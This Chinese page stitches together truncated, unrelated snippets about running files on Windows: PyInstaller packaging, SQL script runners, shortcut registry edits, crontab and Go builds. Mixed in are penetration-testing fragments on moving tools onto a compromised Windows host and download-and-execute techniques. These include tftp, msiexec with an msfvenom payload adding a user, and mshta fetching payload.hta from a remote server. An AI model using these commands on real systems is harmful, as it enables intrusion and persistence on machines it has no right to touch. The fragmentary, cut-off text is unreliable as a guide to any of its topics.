02 Dec 2016 Windows平台使用PyInstaller将Python脚本打包成可执行文件 平时工作中,有时候需要将自己写的Python脚本在...本文介绍一种方法,通过PyInstaller工具将Python脚本打包成一个可执行文件,可以直接在Windows运行,不管Windows是否安装Python都可以运行该可执行文件,详细步骤如下: 1 安装...Python 首先在Windows上先安装Python,这里需要特别指出,如果编译的Python可执行文件要运行在64位系统,那么需要安装对应64位版本Python,否则后面编译时会有错。...下载后直接运行安装,安装完成后,将Python和pip安装路径添加到系统PATH,就可以直接在命令行执行Python和使用pip安装Python库,执行Python输出如下: C:\Users\Administrator...将该可执行文件拷贝到其他Windows7 64位机器也可以直接运行,即使没有安装Python也没问题。 本次荐书:浪潮之巅 ? LEo at 20:00
在Windows 系统下安装好Pyton后,直接在CMD命令提示符号里 输入CD .py的文件路径, 进入.py文件的所在目录,例如 cd c:\python33\study,进入这个目录后 输入 Python....py文件名 回车就执行了.py文件。
/usr/bin/python # -*- coding: UTF-8 -*- import execjs,os #执行本地自定义的js print execjs.compile('function...'').call("test") #获取系统的路径 paths=os.path.dirname(__file__) print paths dir=paths+"/js/modules.js" #执行...*.js里的文件 print execjs.compile(open(dir).read().decode('utf-8')).call('add',3,4)
快捷方式科普: 快捷方式是Windows提供的一种快速启动程序、打开文件或文件夹的方法。...快捷方式的一般扩展名为*.lnk。 ?...下面就来实际操作将快捷方式去除 首先创建一个文本文档 复制以下代码到文本里 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion...点击确认更改,接下来右键单击bat文件 以管理员身份运行 ? 快捷方式小箭头就消失掉了 ?...,一定使用管理员身份运行???
或者运行control.exe /name Microsoft.SecurityCenter直接打开操作中心
最近遇到一对需要执行的sql文件,sql文件内是insert 语句。...000629', '*ST钒钛'); INSERT INTO hs_his.stock_industry VALUES ('采掘', '000655', '金岭矿业'); 本来需要插入的表并不多,仅七八张,手动执行下也很快...但是实施人员给过来的sql文件,一张表的数据根据数据量硬生生生成了近10个文件。文件多了,若手动执行,很容易出现遗漏或者重复操作,造成错误。 由于文件内结构比较单一,故用脚本实现。...代码如下: def execute_sql(conn, cur, path=r"D:\个人"): """执行指定目录下的.sql文件""" os.chdir(path) for...conn.commit() 以上execute_sql函数,会默认执行入参path路径下,所有文件名包含“.sql”文件。
我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的工具,如何实现,这就是本文章主要的内容。...\test.ps1 有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。...\test$\test.exe c:\ 利用echo直接写文件 使用nishang的powershell工具包对上传的文件进行处理,然后使用echo到文件中,最后再转为原始文件。...\TexttoExe.ps1 evil.text evil.exe 总结 这几种方式的利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具的前提下,使用Windows...以上的脚本文件都可以使用echo 的方式保存到服务器上,然后再利用这些姿势上传大一点的工具等文件。欢迎大家补充各种姿势。
使用 C# 代码创建快捷方式文件 发布于 2015-04-07 04:48 更新于 2018-08-11...01:58 快捷方式是一种特殊的文件,扩展名为 lnk。...有很多种方式来创建快捷方式,不过使用 C# 代码创建一个却并不那么容易。 本文分享三种不同的方式创建快捷方式。... /// 快捷方式启动程序时需要使用的参数。...当然,如果你希望给其他文件创建快捷方式,就改一改里面的代码吧,将 TargetPath 和 WorkingDirectory 改为其他参数。 ?
相反,为什么不从您的 Python 代码 创建一个可执行文件,这样用户只需双击它即可运行应用程序,或者将文件复制到其 $PATH 中的目录并从文件系统层次结构中的任何位置运行命令。...我们将使用我们之前创建的 Python 应用程序的代码(用于获取用户的输入并使用 GUI 将其写入文件)并从中创建一个方便的可执行文件。 这是一种从 Python 代码创建便携式应用程序的好方法。...将所有内容捆绑在一起 我将首先向您展示如何使用 PyInstaller 为您的应用程序创建捆绑包。所有这些都将包含在一个文件夹中,其中包含一个可执行文件和一个包含依赖项的文件夹。...创建单个文件可执行文件 最好的方法是使用 PyInstaller 创建单个文件可执行文件。...这就是从 Python 代码创建可执行文件的所有步骤。使用这种便捷的方法,你的应用程序不仅更容易运行,而且更容易分发给其他用户。
目录(二级) 第1章 基础知识/1 1.1 如何选择Python版本 1.2 Python安装与简单使用 1.3 使用pip管理扩展库 1.4 Python基础知识...编程/248 11.1 QPython简介 11.2 安卓应用开发案例 第12章 Windows系统编程/254 12.1 注册表编程 12.2 创建可执行文件...程序,获取Windows操作系统中快捷方式对应的真实路径。...2、在弹出的窗口中,单击“浏览”按钮,选择一个文件夹或文件,然后单击下一步,如图所示, ? 3、输入快捷方式的名字,单击按钮“完成”,如图所示, ? 4、重复步骤1、2、3,创建多个快捷方式。...Windows平台中快捷方式是扩展命为.lnk的文件。 ? 7、运行程序,查看结果,如图 ?
这是一些用于设置多播接收器的 Python代码.它在mac和linux上运行良好. import socket,struct ADDR=’239.239.250.1′ PORT=8001 sock =...socket.inet_aton(ADDR),socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,mreq) 但在Windows...Z:\winx>c:\Python27\python.exe q2.py Traceback (most recent call last): File “q2.py”,line 11,in sock.bind...((ADDR,PORT)) File “c:\Python27\lib\socket.py”,line 224,in meth return getattr(self...._sock,name)(*args) socket.error: [Errno 10049] The requested address is not valid in its context Windows
需求: 要在服务器上指执行sql 为了不影响线上用户正常使用,且执行10000行暂停10秒。...然后用python 写了这样一个文件 文件存放位置: /root/sql/ 文件名:2 3 4 5 6 ........这样做是为了省事 用 range(2,24) 其实可以写成读取目录文件:os.listdir("/root/sql/") ######## author shenym ########### #####...###2014-05-05 ########### import os import time import math ##读取文件 for i in range(2,24): ##拼接文件完整路径
今天看到这个php可以执行shell解压文件,顺便整理出来看看吧 先帖代码吧 ...选择文件: 文件" type="submit"/> 文件 $path="rar/" ....if($a){ //进行解压操作 echo "上传成功,执行解压。。。"...$dir"; $obj->run($shell,1,true);//执行脚本 echo "解压成功。。。
当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢? 一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。...第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式。...4、wget Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。...://tftpd32.jounin.net/tftpd32_download.html tftp -i 你的IP get 要下载文件 存放位置 8、WinScp WinSCP是一个Windows环境下使用...9、msiexec msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行: #生成msi包 msfvenom -p windows/exec CMD='net user test
前提: 创建一个xxx.py的文件 文件头为 #!.../usr/bin/python3 # -*- conding= utf-8 -*- print('hello world') 更改权限 chmod 777 xxx.py 这样python文件就可以执行了.../test.py hello world crontab 使用 编辑、添加crontab crontab -e 第一次执行会让用户选择编辑器,自己根据喜好选择编辑器 进入编辑会显示如下代码:...manual pages of crontab(5) and cron(8) 21 # 22 # m h dom mon dow command 23 #* * * * * /home/ubuntu/python...命令行输入crontab -e:进入crontab编辑模式 在文件末添加要定时执行的代码 格式:{minute} {hour} {day-of-month} {month} {day-of-week
让python播放音频 python播放音频实际上很简单,使用pygame模块,只需要四五行的代码。...windows定时任务 这是windows自带的功能,自认为还是比较强大的。...,这里选在Daily,然后选择开始时间,Recur every这里填写1天,下一步 这里要选择任务执行的动作,这里为了执行python脚本,选择start a program,下一步 接下来就要选择执行的程序了...因为我的电脑里同时安装了python2和python3,所以我的最终路径是这样的C:\Users\YJChan\AppData\Local\Programs\Python\Python36\pythonw.exe...这也是pyw和py文件的区别,pyw格式是用来开发纯图形化界面程序的,所以默认没有命令行窗口,这里很好的实现了我想要后台播放音频的想法。
取决于Windows系统的版本,通过HTTP下载的文件缓存位置为IE的本地缓存,在下面的路径之一: C:\Users\\AppData\Local\Microsoft\Windows...\Temporary Internet Files\ C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE 使用指向...Mshta下载&执行 mshta支持2种文件格式的执行,其中执行.sct文件的命令格式如下: mshta vbscript:Close(Execute("GetObject(""script:https...执行.hta文件的命令格式如下: mshta http://webserver/payload.hta metasploit的exploit/windows/misc/hta_server支持.hta...文件的执行: use exploit/windows/misc/hta_server 配置对应的参数后,在目标主机cmd下执行: mshta http://192.168.49.160:8080/
看着python简明教程学习python,备份文件的时候老是出现问题。这里记录一下解决方案。...info-zip下载地址:http://www.info-zip.org/Zip.html#Downloads 代码如下: import os import time #1.需要备份的文件或者文件夹 source...= ['d:\\sll','D:\\download'] #2.需要备份的存放目录 target_dir = 'd:\\pyback\\' #3要压缩的文件 target = target_dir +...'%s',这样windows下无法创建文件。...然后运行 “python back.py”压缩成功info-zip
在cmd或者powershell执行以下命令set GOARCH=amd64go env -w GOARCH=amd64set GOOS=linuxgo env -w GOOS=linux然后正常go...build即可再切换回windowsgo env -w GOARCH=amd64go env -w GOOS=windows又可以愉快的编译exe可执行文件啦
使用指令“pyinstaller -F xxx.py”生成exe文件。 等待生成完毕后,回到源文件目录,在dist目录下,找到生成的exe文件,即可完成Python生成exe文件操作。...用python写了一个程序,在python下运行是正常的,但是生成exe文件后运行闪退 我当时怀疑是不是脱离的python解释器就运行不了的问题,网上找了一通也没有解决。...2.你编译成.exe的python程序中导入了你自己的程序。生成的.exe文件与你导入的文件不在同一文件夹内导致无法运行。...故而不能执行! 解决办法就是把.exe文件抬到所导入模块所在的文件夹内就可以了。当然也可以把导入的模块搬到.exe文件所在的文件夹下,同一个道理的。...到此如果你想把自己写的python程序给你盆友炫耀,而他又没装有python时,你就可以把.exe文件发送给他嗨皮,请记住打包的时候记得带上带入的模块一起!
领取专属 10元无门槛券
手把手带您无忧上云